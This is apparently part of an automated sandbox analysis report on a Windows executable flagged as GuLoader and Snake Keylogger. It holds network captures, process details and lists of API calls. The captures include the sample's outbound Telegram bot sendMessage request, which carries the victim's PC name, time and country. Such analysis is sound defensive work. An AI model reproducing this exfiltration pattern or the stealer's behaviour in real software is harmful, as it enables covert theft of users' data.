8d9700c00ef9e94e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1310&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=701&delivery_rate=2151560&cwnd=250&unsent_bytes=0&cid=fc51a02c58865f6e&ts=158&x=0"
2024-10-28 01:02:53 UTC	358	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 44 61 6c 6c 61 73 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 35 32 34 37 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a Data Ascii: <Response><IP>155.94.241.188</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Dallas</City><ZipCode>75247</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49746	188.114.96.3	443	7732	C:\Users\user\Desktop\rFa24c148.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:02:55 UTC	63	OUT	GET /xml/155.94.241.188 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-28 01:02:55 UTC	880	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:02:55 GMT Content-Type: text/xml Content-Length: 358 Connection: close apigw-requestid: AVhc-iOyPHcEJSw= Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 6 Last-Modified: Mon, 28 Oct 2024 01:02:49 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eQWlr%2FMpAtSQV7e9t81%2BkvELiCGHDfXhdrrIEAHwUrI2itQFGNE3eSU9G3iECiityIWknR9yd2uDa9%2F60Eb9iGZR6CQSOXa5h0CCIOhTOGD6IZCeDAHtwX1K%2BSgqqxLnJ17uW73W"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9700ca4d7f2cb5-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1332&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2851&recv_bytes=701&delivery_rate=2090974&cwnd=251&unsent_bytes=0&cid=423f5ce6143f049c&ts=195&x=0"
2024-10-28 01:02:55 UTC	358	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 44 61 6c 6c 61 73 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 35 32 34 37 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a Data Ascii: <Response><IP>155.94.241.188</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Dallas</City><ZipCode>75247</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49749	188.114.96.3	443	7732	C:\Users\user\Desktop\rFa24c148.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:02:56 UTC	87	OUT	GET /xml/155.94.241.188 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-28 01:02:56 UTC	876	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:02:56 GMT Content-Type: text/xml Content-Length: 358 Connection: close apigw-requestid: AVhc-iOyPHcEJSw= Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 7 Last-Modified: Mon, 28 Oct 2024 01:02:49 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nxtgLvKfVp2aUxfdfUSi%2Fe2hSj2XQr0sCgUhwctdVesCWc4vItDvh9oACtLgWvIrYZOr631OdcYYyKo3xJWKwxevE%2FwhQvmCvxaFJrCaECZgNvluaAwupKf3m396qVcg8LzHng4s"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9700d48b933ac6-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1184&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=701&delivery_rate=2417362&cwnd=251&unsent_bytes=0&cid=85a3aa6a1c23f11d&ts=150&x=0"
2024-10-28 01:02:56 UTC	358	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 44 61 6c 6c 61 73 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 35 32 34 37 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a Data Ascii: <Response><IP>155.94.241.188</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Dallas</City><ZipCode>75247</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49757	188.114.96.3	443	7732	C:\Users\user\Desktop\rFa24c148.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:02:58 UTC	87	OUT	GET /xml/155.94.241.188 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-28 01:02:58 UTC	880	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:02:58 GMT Content-Type: text/xml Content-Length: 358 Connection: close apigw-requestid: AVhc-iOyPHcEJSw= Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 9 Last-Modified: Mon, 28 Oct 2024 01:02:49 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OgF3Vu9tyG433zhSGH1NGxOT7CQBteA9WaMll4tgZVb9yk%2FhBGvY1KTlSMdGcxZFV97IVZidjSveuqlu3LxvYslkzUYCM1jQ5H3OHMz2yJhF%2FwHK4T1LSM%2BDHpKGAUvUinlsyJV%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9700de9a3d4871-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1306&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=2343042&cwnd=251&unsent_bytes=0&cid=b0fe6bf8c8ab4758&ts=189&x=0"
2024-10-28 01:02:58 UTC	358	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 44 61 6c 6c 61 73 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 35 32 34 37 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a Data Ascii: <Response><IP>155.94.241.188</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Dallas</City><ZipCode>75247</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49769	188.114.96.3	443	7732	C:\Users\user\Desktop\rFa24c148.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:02:59 UTC	63	OUT	GET /xml/155.94.241.188 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-28 01:03:00 UTC	881	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:03:00 GMT Content-Type: text/xml Content-Length: 358 Connection: close apigw-requestid: AVhc-iOyPHcEJSw= Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 11 Last-Modified: Mon, 28 Oct 2024 01:02:49 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qMFXLJ9%2B00M3UJiwnVlk75siPra4BmRrJJ7NzkYw%2Frd9TmRUYwn2cgB7z%2BaA5o5yBZB5FPF7VHnrVOu90ImtgaeeRqBo6qZhL8ijBQxtCjA6gXNBhP5tTPcYL%2BqRGomZY2RA3YB9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9700e8e96beadd-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1243&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2851&recv_bytes=701&delivery_rate=2197268&cwnd=251&unsent_bytes=0&cid=a8d157872e9a2eda&ts=163&x=0"
2024-10-28 01:03:00 UTC	358	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 44 61 6c 6c 61 73 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 35 32 34 37 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a Data Ascii: <Response><IP>155.94.241.188</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Dallas</City><ZipCode>75247</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49781	188.114.96.3	443	7732	C:\Users\user\Desktop\rFa24c148.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:03:01 UTC	63	OUT	GET /xml/155.94.241.188 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-28 01:03:01 UTC	877	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:03:01 GMT Content-Type: text/xml Content-Length: 358 Connection: close apigw-requestid: AVhc-iOyPHcEJSw= Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 12 Last-Modified: Mon, 28 Oct 2024 01:02:49 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TE5KuUS0TNhFJKW%2BFoZXEJCuxtQCKMbrTU2sB2ES8vtwNNjyv7TigigabNx33xYBpPS7Xt78NmUpwCE56E4PrN9eyxC2K6PKrlLPQzi7Squ%2Bu1lI0yr8pXHVg0I43558hBkhiAU9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9700f31fdf2e55-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1324&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=2142011&cwnd=250&unsent_bytes=0&cid=3ed617659d956b09&ts=162&x=0"
2024-10-28 01:03:01 UTC	358	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 44 61 6c 6c 61 73 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 35 32 34 37 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a Data Ascii: <Response><IP>155.94.241.188</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Dallas</City><ZipCode>75247</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49787	149.154.167.220	443	7732	C:\Users\user\Desktop\rFa24c148.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:03:02 UTC	349	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:124406%0D%0ADate%20and%20Time:%2028/10/2024%20/%2012:44:28%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20124406%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-10-28 01:03:02 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Mon, 28 Oct 2024 01:03:02 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-10-28 01:03:02 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

Target ID:	0
Start time:	21:02:00
Start date:	27/10/2024
Path:	C:\Users\user\Desktop\rFa24c148.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\rFa24c148.exe"
Imagebase:	0x400000
File size:	1'005'202 bytes
MD5 hash:	7644EBBF786053FFAF95DBE86B7DE5D4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.2061274960.00000000052E5000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	21:02:35
Start date:	27/10/2024
Path:	C:\Users\user\Desktop\rFa24c148.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\rFa24c148.exe"
Imagebase:	0x400000
File size:	1'005'202 bytes
MD5 hash:	7644EBBF786053FFAF95DBE86B7DE5D4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.2993781136.0000000033547000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000004.00000002.2993781136.0000000033441000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	20.1%
Dynamic/Decrypted Code Coverage:	15%
Signature Coverage:	18.2%
Total number of Nodes:	1529
Total number of Limit Nodes:	49

Executed Functions

Function 004031FF Relevance: 75.6, APIs: 27, Strings: 16, Instructions: 335
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32 ref: 0040321E
SetErrorMode.KERNELBASE(00008001), ref: 00403229
OleInitialize.OLE32(00000000), ref: 00403230

Part of subcall function 004060E1: GetModuleHandleA.KERNEL32(?,?,00000020,00403242,00000008), ref: 004060F3
Part of subcall function 004060E1: LoadLibraryA.KERNELBASE(?,?,00000020,00403242,00000008), ref: 004060FE
Part of subcall function 004060E1: GetProcAddress.KERNEL32(00000000,?), ref: 0040610F

SHGetFileInfoW.SHELL32(00420658,00000000,?,000002B4,00000000), ref: 00403258

Part of subcall function 00405D77: lstrcpynW.KERNEL32(?,?,00000400,0040326D,004281A0,NSIS Error), ref: 00405D84

GetCommandLineW.KERNEL32(004281A0,NSIS Error), ref: 0040326D
GetModuleHandleW.KERNEL32(00000000,"C:\Users\user\Desktop\rFa24c148.exe",00000000), ref: 00403280
CharNextW.USER32(00000000,"C:\Users\user\Desktop\rFa24c148.exe",00000020), ref: 004032A7
GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,00000000,00000020), ref: 004033B0
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 004033C1
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004033CD
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004033E1
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 004033E9
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 004033FA
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 00403402
DeleteFileW.KERNELBASE(1033), ref: 00403416
OleUninitialize.OLE32(?), ref: 004034C6
ExitProcess.KERNEL32 ref: 004034E6
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu.tmp,"C:\Users\user\Desktop\rFa24c148.exe",00000000,?), ref: 004034F2
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user\AppData\Local\Temp\,~nsu.tmp,"C:\Users\user\Desktop\rFa24c148.exe",00000000,?), ref: 004034FE
CreateDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,00000000), ref: 0040350A
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\), ref: 00403511
DeleteFileW.KERNEL32(0041FE58,0041FE58,?,0042A000,?), ref: 0040356B
CopyFileW.KERNEL32(C:\Users\user\Desktop\rFa24c148.exe,0041FE58,00000001), ref: 0040357F
CloseHandle.KERNEL32(00000000,0041FE58,0041FE58,?,0041FE58,00000000), ref: 004035AC
GetCurrentProcess.KERNEL32(00000028,00000004,00000005,00000004,00000003), ref: 00403602
ExitWindowsEx.USER32(00000002,00000000), ref: 0040363E
ExitProcess.KERNEL32 ref: 00403661

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004033A5, 004033AA, 004033C0, 004033CC, 004033DB, 004033E8, 004033F4, 004033FC, 004034F1, 004034FD, 00403509, 00403510, 004035C1
kernel32::EnumResourceTypesA(i 0,i r8,i 0), xrefs: 0040354E, 004035B6
Error launching installer, xrefs: 0040347D
C:\Program Files (x86)\shaw, xrefs: 004034A3
\Temp, xrefs: 004033C7
"C:\Users\user\Desktop\rFa24c148.exe", xrefs: 00403273, 00403279, 0040343A
Low, xrefs: 004033E3
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer, xrefs: 00403395, 00403498, 00403517, 00403521
NSIS Error, xrefs: 0040325E
C:\Users\user\Desktop, xrefs: 004034F7, 004034FC, 00403520
~nsu.tmp, xrefs: 004034EC
TMP, xrefs: 004033FD
TEMP, xrefs: 004033F5
C:\Users\user\Desktop\rFa24c148.exe, xrefs: 0040357A
SeShutdownPrivilege, xrefs: 00403614
1033, xrefs: 00403411

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: File$DirectoryExitHandleProcesslstrcat$CurrentDeleteEnvironmentModulePathTempVariableWindows$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextProcUninitializelstrcmpilstrcpyn
String ID: "C:\Users\user\Desktop\rFa24c148.exe"$1033$C:\Program Files (x86)\shaw$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\rFa24c148.exe$Error launching installer$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$\Temp$kernel32::EnumResourceTypesA(i 0,i r8,i 0)$~nsu.tmp
API String ID: 4107622049-2644687472
Opcode ID: 7dc04cae1505df307541da29feb1b78f76a738656bf7d790261999e19a40ed68
Instruction ID: ad4a0f84636c0b66377e35c31726649c2eaf1ae8fb353dd82aac126218056701
Opcode Fuzzy Hash: 7dc04cae1505df307541da29feb1b78f76a738656bf7d790261999e19a40ed68
Instruction Fuzzy Hash: 99B1D030904210BAD7207F629D49A7B3EACEB45706F40497FF441B62E2D7BC9941CB6E

Function 00405160 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 282
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 004051BF
GetDlgItem.USER32(?,000003EE), ref: 004051CE
GetClientRect.USER32(?,?), ref: 0040520B
GetSystemMetrics.USER32(00000015), ref: 00405213
SendMessageW.USER32(?,00001061,00000000,00000002), ref: 00405234
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 00405245
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405258
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 00405266
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405279
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 0040529B
ShowWindow.USER32(?,00000008), ref: 004052AF
GetDlgItem.USER32(?,000003EC), ref: 004052D0
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 004052E0
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004052F9
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405305
GetDlgItem.USER32(?,000003F8), ref: 004051DD

Part of subcall function 00403FF1: SendMessageW.USER32(00000028,?,00000001,00403E1D), ref: 00403FFF

GetDlgItem.USER32(?,000003EC), ref: 00405322
CreateThread.KERNELBASE(00000000,00000000,Function_000050F4,00000000), ref: 00405330
CloseHandle.KERNELBASE(00000000), ref: 00405337
ShowWindow.USER32(00000000), ref: 0040535B
ShowWindow.USER32(?,00000008), ref: 00405360
ShowWindow.USER32(00000008), ref: 004053AA
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004053DE
CreatePopupMenu.USER32 ref: 004053EF
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405403
GetWindowRect.USER32(?,?), ref: 00405423
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 0040543C
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405474
OpenClipboard.USER32(00000000), ref: 00405484
EmptyClipboard.USER32 ref: 0040548A
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405496
GlobalLock.KERNEL32(00000000), ref: 004054A0
